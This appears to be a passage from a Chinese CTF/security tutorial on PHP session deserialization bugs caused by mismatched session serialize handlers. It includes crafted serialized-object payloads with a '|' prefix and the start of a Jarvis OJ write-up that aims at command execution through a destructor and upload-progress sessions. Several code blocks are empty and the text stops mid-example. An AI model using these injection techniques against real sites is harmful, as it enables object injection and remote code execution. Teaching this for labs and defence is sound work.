上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致`$_SESSION` 的索引既不能是数字也不能包含特殊字符(| 和 !) 。
注:查看版本,注意:在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize,这里面是php_serialize,同时意识到 在index界面的时候,设置选择的是php,因此可能会造成漏洞
下面我们实例来看看三种不同处理器序列化后的结果。
```php
";
var_dump($_SESSION);
echo "";
```
比如这里我get进去一个值为abc,查看一下各个存储格式:
- php : lemon|s:3:"abc";
- php_serialize : a:1:{s:5:"lemon";s:3:"abc";}
- php_binary : lemons:3:"abc";
其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。
### 6.2 漏洞造成原理
当php_serialize处理器处理接收session,php处理器处理session时便会造成反序列化的可利用,因为php处理器是有一个|间隔符,当php_serialize处理器传入时在序列化字符串前加上`|`,`|O:7:"xiaoxin":1:{s:4:"name";s:9:"eagleslab";}"`
此时session值为`a:1:{s:7:"session";s:44:"|O:9:"eagleslab:1:{s:4:"name";s:9:"eagleslab";}";}`当php处理器处理时,会把|当作间隔符,取出后面的值去反序列化,即是我们构造的payload:`|O:9:"eagleslab:1:{s:4:"name";s:9:"eagleslab";}"`
**简单实例**
session.php
```php
```
class.php
```php
'.$this->name;
}
}
$str = new TestObject();
?>
```
这两个文件作用很清晰,他们的php处理器不一样,session.php用于接收get请求的session值,class.php反序列前会输出“未反序列化”,反序列化后会输出name值,这里我们构造|加序列化字符使class输出name值,则说明反序列化成功
先访问session.php,看看自动获取的session
```php
a:1:{s:7:"session";N;}
```
构造payload
```php
// O:10:"TestObject":1:{s:4:"name";s:7:"payload";}
```
使用payload

发现session中的内容已经发生改变
```php
a:1:{s:7:"session";s:48:"|O:10:"TestObject":1:{s:4:"name";s:7:"payload";}";}
```
直接访问class.php,就会成功执行反序列化漏洞

### 6.3 [Jarvis OJ] PHPINFO
部署环境
```php
docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ojphpinfo
```
PHP 在 5.5.4 版本之后默认将 session.serialize_handler,而在这里却将 session.serialize_handler 设置成了 php(通过 phpinfo 查看相应条目也能看到),所以有这个漏洞。

再结合 OowoO 这个析构函数里会执行 mdzz 这个字符串,所以我们可以构造一个 OowoO,然后利用漏洞达到执行任何指令的目的。
但是现在问题在于,如何将我们构造的 OowoO 存储到 session 里。答案在 `session.upload_progress.enabled `这个选项里,通过查阅[官方文档](https://www.php.net/manual/zh/session.upload-progress.php)得知,可以构造上传达到存信息到 session 里,文档里有个例子
```html